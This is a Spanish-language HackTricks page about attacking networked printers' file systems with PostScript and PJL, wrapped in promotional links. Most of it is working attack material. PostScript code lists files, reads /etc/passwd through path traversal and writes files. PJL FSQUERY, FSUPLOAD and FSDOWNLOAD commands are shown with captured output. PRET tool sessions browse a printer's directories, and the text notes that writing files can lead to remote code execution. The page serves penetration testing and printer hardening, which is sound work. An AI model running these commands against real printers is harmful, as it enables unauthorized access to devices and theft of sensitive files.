6 KiB
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
-
Descubre The PEASS Family, nuestra colección exclusiva de NFTs
-
Consigue la oficial PEASS & HackTricks swag
-
Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
-
Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.
PostScript
Recupera información sensible como archivos de configuración o trabajos de impresión almacenados, RCE escribiendo archivos (como editar scripts rc o reemplazar archivos binarios). Se definen constructos de lenguaje legítimos para PostScript y PJL para acceder al sistema de archivos.
Accede al sistema de archivos con PostScript (ten en cuenta que podría estar limitado a acciones inofensivas):
> /str 256 string def (%*%../*) % list all files
> {==} str filenameforall
< (%disk0%../webServer/home/device.html)
< (%disk0%../webServer/.java.login.config)
< (%disk0%../webServer/config/soe.xml)
> /byte (0) def % read from file
> /infile (../../../etc/passwd) (r) file def
> { infile read {byte exch 0 exch put
> (%stdout) (w) file byte writestring}
> {infile closefile exit} ifelse
> } loop
< root::0:0::/:/bin/dlsh
> /outfile (test.txt) (w+) file def}} % write to file
> outfile (Hello World!) writestring
> outfile closefile
Puedes utilizar los comandos de PRET: ls
, get
, put
, append
, delete
, rename
, find
, mirror
, touch
, mkdir
, cd
, pwd
, chvol
, traversal
, format
, fuzz
y df
.
./pret.py -q printer ps
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> ls ../..
d - Jan 1 1970 (created Jan 1 1970) bootdev
d - Jan 1 1970 (created Jan 1 1970) dsk_jdi
d - Jan 1 1970 (created Jan 1 1970) dsk_jdi_ss
d - Jan 1 1970 (created Jan 1 1970) dsk_ram0
d - Jan 1 1970 (created Jan 1 1970) etc
d - Jan 1 1970 (created Jan 1 1970) tmp
d - Jan 1 1970 (created Jan 1 1970) webServer
PJL
PJL (Printer Job Language) es un lenguaje de control de impresoras que se utiliza para enviar comandos a la impresora. Los comandos PJL se envían antes de que se envíe el trabajo de impresión y se utilizan para configurar la impresora y controlar el trabajo de impresión.
Algunos comandos PJL útiles son:
@PJL INFO CONFIG
- Muestra la configuración actual de la impresora.@PJL JOB PASSWORD = "password"
- Establece una contraseña para el trabajo de impresión.@PJL FSUPLOAD
- Carga un archivo en el sistema de archivos de la impresora.@PJL FSINFO
- Muestra información sobre el sistema de archivos de la impresora.@PJL DIRLIST
- Muestra una lista de archivos en el sistema de archivos de la impresora.
Para utilizar los comandos PJL, se puede enviar un archivo de impresión que contenga los comandos PJL necesarios. También se puede utilizar una herramienta como netcat
para enviar los comandos PJL directamente a la impresora.
Es importante tener en cuenta que algunos comandos PJL pueden ser peligrosos y permitir el acceso no autorizado al sistema de archivos de la impresora. Por lo tanto, es importante asegurarse de que la impresora esté configurada de manera segura y de que se utilicen contraseñas fuertes para proteger los trabajos de impresión.
> @PJL FSDIRLIST NAME="0:\" ENTRY=1 COUNT=65535 (list all files)
< .\:\:TYPE=DIR
< ..\:\:TYPE=DIR
< PostScript TYPE=DIR
< PJL TYPE=DIR
< saveDevice TYPE=DIR
< webServer TYPE=DIR
> @PJL FSQUERY NAME="0:\..\..\etc\passwd" (read from file)
< @PJL FSQUERY NAME="0:\..\..\etc\passwd" TYPE=FILE SIZE=23
> @PJL FSUPLOAD NAME="0:\..\..\etc\passwd" OFFSET=0 SIZE=23
< root::0:0::/:/bin/dlsh
> @PJL FSDOWNLOAD SIZE=13 NAME="0:\test.txt" (write to file)
> Hello World!
De todas formas, acceder a archivos con PJL no es compatible con muchos impresoras.
Puedes utilizar los comandos de PRET: ls
, get
, put
, append
, delete
, find
, mirror
, touch
, mkdir
, cd
, pwd
, chvol
, traversal
, format
, fuzz
y df
.
./pret.py -q printer pjl
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> ls ..
d - bootdev
d - dsk_jdi
d - dsk_jdi_ss
d - dsk_ram0
d - etc
d - lrt
d - tmp
d - webServer
d - xps
Aprende más sobre posibles formas de evitar el sandboxing utilizando limitaciones de PostScript y PJL en http://hacking-printers.net/wiki/index.php/File_system_access.